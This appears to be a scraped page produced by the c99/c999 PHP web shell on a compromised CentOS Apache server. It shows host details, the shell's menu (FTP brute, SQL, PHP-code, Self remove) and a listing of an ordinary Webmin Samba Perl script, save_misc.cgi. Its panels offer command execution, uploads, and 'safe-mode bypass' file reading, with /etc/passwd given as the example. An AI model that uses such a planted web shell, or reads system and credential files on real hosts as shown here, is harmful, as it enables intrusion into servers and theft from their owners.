!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/samba/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_misc.cgi (2.05 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_misc.cgi
# Save inputs from conf_misc.cgi

require './samba-lib.pl';
&ReadParse();
&lock_file($config{'smb_conf'});
$global = &get_share("global");

# check acls

&error_setup("$text{'eacl_aviol'}ask_epass.cgi");
&error("$text{'eacl_np'} $text{'eacl_pcm'}") unless $access{'conf_misc'};
 
&error_setup($text{'savemisc_fail'});
&setval("debug level", $in{debug_level}, "");

&setval("getwd cache", $in{getwd_cache}, "no");

if (!$in{lock_directory_def} && !(-d &parent_dir($in{lock_directory}))) {
    &error($text{'savemisc_lockdir'});
    }
&setval("lock directory", $in{lock_directory_def}?"":$in{lock_directory}, "");

if (!$in{log_file_def} && !(-d &parent_dir($in{log_file}))) {
    &error($text{'savemisc_logdir'});
    }
&setval("log file", $in{log_file_def} ? "" : $in{log_file}, "");

if (!$in{max_log_size_def} && $in{max_log_size} !~ /^\d+$/) {
    &error(&text('savemisc_logsize',$in{max_log_size}));
    }
&setval("max log size", $in{max_log_size_def} ? 0 : $in{max_log_size}, 0);

&setval("read raw", $in{read_raw}, "yes");

&setval("write raw", $in{write_raw}, "yes");

if (!$in{read_size_def} && $in{read_size} !~ /^\d+$/) {
    &error(&text('savemisc_overlap',$in{read_size}));
    }
&setval("read size", $in{read_size_def} ? 0 : $in{read_size}, 0);

if (!$in{root_directory_def} && !(-d $in{root_directory})) {
    &error(&text('savemisc_chroot', $in{root_directory}));
    }
&setval("root directory", $in{root_directory_def}?"":$in{root_directory}, "");

if (!$in{smbrun_def} && !(-x $in{smbrun})) {
    &error(&text('savemisc_smbrun', $in{smbrun}));
    }
&setval("smbrun", $in{smbrun_def} ? "" : $in{smbrun}, "");

if (!$in{time_offset_def} && $in{time_offset} !~ /^\d+$/) {
    &error(&text('savemisc_time',$in{time_offset}));
    }
&setval("time offset", $in{time_offset_def} ? 0 : $in{time_offset}, 0);

&setval("read prediction", $in{read_prediction}, "no");

if ($global) { &modify_share("global", "global"); }
else { &create_share("global"); }
&unlock_file($config{'smb_conf'});
&webmin_log("misc", undef, undef, \%in);
&redirect("");

sub parent_dir
{
$_[0] =~ /^(.*\/)[^\/]+$/; return $1;
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--